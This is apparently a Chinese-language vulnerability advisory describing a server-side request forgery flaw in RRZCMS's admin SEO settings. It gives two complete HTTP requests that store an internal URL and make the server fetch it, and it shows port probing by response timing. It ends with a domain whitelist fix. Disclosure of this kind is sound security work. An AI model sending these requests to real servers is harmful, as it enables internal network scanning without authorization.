系统名称及影响版本
漏洞接口:
两个接口组合存在漏洞接口1POST /rrzcms/index.php/admin/Seo/sitemap.html HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 244Origin: http://test.localhost.comConnection: closeReferer: http://test.localhost.com/rrzcms/index.php/admin/Index/index.htmlCookie: PHPSESSID=18c403786b044db7befd188c73446b94; think_lang=zh-cnauto=1&filter_isurl=1&type=xml&index_changefreq=always&list_changefreq=hourly&view_changefreq=daily&index_priority=1.0&list_priority=0.8&view_priority=0.5&articles_num=100&tags_num=100&zzbaidutoken=http%3A%2F%2F192.168.125.118%3A13306%2F123.txt接口2POST /rrzcms/index.php/admin/Seo/push_zzbaidu.html HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 5Origin: http://test.localhost.comConnection: closeReferer: http://test.localhost.com/rrzcms/index.php/admin/Index/index.htmlCookie: PHPSESSID=18c403786b044db7befd188c73446b94; think_lang=zh-cnasd=1
漏洞分析及复现:
- 漏洞源码位置/app/admin/controller/Seo.php 的第72行,如下图

2. Curl函数发起对外请求,请求地址为$api,$api来自下图
3. $api来自上述中的条件判断,存在漏洞的点在if (is_http_url($zzbaidutoken))条件成立的时候,$zzbaidutoken被str_replace处理后赋值给$api。str_replace函数对于漏洞产生没影响可忽略。至于如何让条件成立,只要$zzbaidutoken是个完整的请求地址就可以了,类似:http://192.168.125.118:13306/123.txt。接着往上走,$zzbaidutoken来自sysConfig('sitemap.zzbaidutoken')。而这个sysConfig('sitemap.zzbaidutoken')是可控的,由以下接口控制
4. 如上述接口可以直接已post方式传入zzbaidutoken参数,最终会保存到数据库中,如下图
5. 结合上述两个接口,则可导致SSRF漏洞,接下来进行漏洞复现。登录管理后台—站点管理—SEO设置,在百度蜘蛛token中写入内容:http://192.168.125.118:13306/123.txt (这是我局域网内192.168.125.118机器开放着的端口13306)
6. 之后直接调用如下接口,发送请求,该端口开放,响应速度较快,共花费83毫秒
7. 之后再登录管理后台—站点管理—SEO设置,在百度蜘蛛token中写入内容:http://192.168.125.118:8787/123.txt (这是我局域网内192.168.125.118机器未开放着的端口8787)
8. 之后再调用如下接口,发送请求,该端口未开放,请求耗时较长,共花费2287毫秒
9. 完全可以从两次的响应时间区别来进行内网探测,故确定该处存在SSRF漏洞。
漏洞修复建议:
这里确定请求地址为http://data.zz.baidu.com/,那就直接限制地址来源就是http://data.zz.baidu.com/,其他来源均无效。
